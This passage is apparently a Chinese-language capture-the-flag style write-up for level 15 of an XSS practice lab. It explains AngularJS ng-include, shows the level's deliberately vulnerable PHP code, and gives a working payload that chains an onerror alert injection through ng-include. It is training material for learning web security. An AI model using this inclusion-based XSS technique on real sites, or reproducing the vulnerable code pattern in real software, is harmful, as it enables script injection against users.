ngularJS 是一個 JavaScript 框架。它可通過 <script> 標籤添加到 HTML 頁面。
AngularJS 通過 指令 擴展了 HTML,且通過 表達式 綁定數據到 HTML。
編寫html文檔的時候,爲了實現代碼模塊化,增加複雜頁面的代碼可讀性和可維護性,我們常常會想到將代碼分散寫入不同的HTML文件
angularJS裏面的ng-include指令結合ng-controller能夠很方便的實現這個目的
ng-include 指令用於包含外部的 HTML 文件。
ng-include可以作爲一個屬性,或者一個元素使用
AngularJS 可以直接加載html和js代碼了
AngularJS引入的html文件只能加載script標籤內的代碼。被引入的html 內如果有加載外部js的話是不會執行的
AngularJS 擴展了 HTML
AngularJS 通過 ng-directives 擴展了 HTML。
ng-app 指令定義一個 AngularJS 應用程序。
ng-model 指令把元素值(比如輸入域的值)綁定到應用程序。
ng-bind 指令把應用程序數據綁定到 HTML 視圖。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
</head>
<body ng-app="">
<div ng-include="'myFile.htm'"></div>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
</head>
<body>
<div ng-app="">
<p>名字 : <input type="text" ng-model="name"></p>
<h1>Hello {{name}}</h1>
</div>
</body>
</html>
可以利用AngularJS的這一性質進行XSS
查看網頁源代碼:
查看服務器端PHP代碼
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
上述PHP代碼使用get方法傳遞參數,並且將參數進行了HTML實體轉換,而且沒有輸出到<script>n內,但是輸出到了ng-include裏面,可以讓它直接包含第一關中的payload及js代碼
因此構建payload爲:
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
完成彈窗